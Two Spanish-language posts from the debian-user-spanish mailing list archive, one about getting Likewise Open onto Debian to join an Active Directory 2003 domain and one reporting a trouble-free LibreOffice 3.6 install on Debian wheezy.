http://lists.debian.org/20120810203226.728253c6a75a4aa461e1c...@angel-alvarez.com.ar
Re: Consulta con dominio en windows y unir a AD 2003
El 10/08/12 20:32, Angel Claudio Alvarez escribió: Instala likewiseopen ¿Y en cuál de todos los repositorios de Debian está? No, en ninguno. Está en Canonical. Por lo que si Carlos hace caso de tu sugerencia, se va a tener que liar un poquito para hacerlo funcionar. Mezclar paquetes de Ubuntu con Debian... No suelo hacerlo, por esa tontería de las dependencias. Tal vez bajando los fuentes y compilándolos. Todo depende del gusto. No conocía el proyecto, y me dieron ganas de probarlo. La página no anda http://www.likewiseopen.org/. Tal vez mañana. JAP -- To UNSUBSCRIBE, email to debian-user-spanish-requ...@lists.debian.org with a subject of unsubscribe. Trouble? Contact listmas...@lists.debian.org Archive: http://lists.debian.org/5025bd4d.1050...@gmail.com
Re: Libre Office 3.6
El jue, 09-08-2012 a las 17:50 -0300, Debian GMail escribió: Preguntonta: ¿Alguien descargó, instaló y probó Libre Office 3.6 en un sistema wheezy amd64? Quiero hacerlo, y la experiencia ajena siempre es bienvenida. JAP Hola ... Ya lo baje e instale en dos equipos, todo lo que uso normalmente, sin problemas . . . Cambian algunas cosas de la interfaz, nada más . . . A disfrutarlo . . . Saludos . . . Alejandro Ramírez . . . -- To UNSUBSCRIBE, email to debian-user-spanish-requ...@lists.debian.org with a subject of unsubscribe. Trouble? Contact listmas...@lists.debian.org Archive: http://lists.debian.org/1344646420.1690.4.camel@AnaIsaPort
